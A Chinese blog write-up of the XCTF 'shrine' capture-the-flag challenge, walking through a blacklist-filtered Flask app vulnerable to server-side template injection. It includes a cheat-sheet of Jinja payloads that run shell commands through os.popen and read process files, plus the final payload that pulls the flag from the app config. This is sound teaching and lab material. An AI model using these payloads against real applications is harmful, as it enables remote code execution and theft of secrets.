当前位置:网站首页>xctf攻防世界 Web高手进阶区 shrine

xctf攻防世界 Web高手进阶区 shrine

2022-08-09 21:54:00 l8947943

0x01. 进入环境,查看问题

在这里插入图片描述
给了一串代码,整理后如下进行代码审计。

0x02. 问题分析

0x02_1. 代码审计


import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
    {% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

访问根路径返回读取的文件代码信息。
访问/shrine/path,会将path作为信息传入safe_jinja()函数,其中path会被过滤掉()符号,其次对涉及到的config和self黑名单,如果path直接该关键字则会将path置为空。

0x02_2. 问题分析

既然是pyhton的框架,且涉及到路径访问,第一反应猜测是否会涉及到SSTI服务器端模板注入(Server-Side Template Injection),实际上也是一种注入漏洞。
我们尝试构造payload:http://61.147.171.105:62961/shrine/{ {7*7}},返回结果如图:
在这里插入图片描述
嗯!确实存在模板注入,那么如何进行注入呢?此处参考大佬写的总结:

  1. SSTI模板注入总结
  2. CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】
__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
__mro__              此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
__subclasses__()     返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.
__init__             初始化类,返回的类型是function
__globals__          使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
__dic__              类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
__getattribute__()   实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__getitem__()        调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
__builtins__         内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。
__import__           动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
__str__()            返回描写这个对象的字符串,可以理解成就是打印出来。
url_for              flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
lipsum               flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{
    {
    lipsum.__globals__['os'].popen('ls').read()}}
current_app          应用上下文,一个全局变量。
 
request              可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()
request.args.x1   	 get传参
request.values.x1 	 所有参数
request.cookies      cookies参数
request.headers      请求头参数
request.form.x1   	 post传参	(Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data  		 post传参	(Content-Type:a/b)
request.json		 post传json  (Content-Type: application/json)
config               当前application的所有配置。此外,也可以这样{
    {
     config.__class__.__init__.__globals__['os'].popen('ls').read() }}
g                    {
    {
    g}}得到<flask.g of 'flask_ssti'>

0x02_3. 构造payload

我们直接使用url_for或者get_flashed_messages进行构造url_for.__globals__['current_app'].config['FLAG']即可,构造的url访问如下:

http://61.147.171.105:62961/shrine/{
    {
    url_for.__globals__['current_app'].config['FLAG']}}

得到最答案,最终flag为:flag{shrine_is_good_ssti}

0x03. 总结

一般python模板注入涉及到知识比较广,但是套路基本固定,参考大佬的总结文章即可,问题不大。再次引用一次优秀博文:

  1. SSTI模板注入总结
  2. CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】
原网站

版权声明
本文为[l8947943]所创,转载请带上原文链接,感谢
https://blog.csdn.net/l8947943/article/details/126198874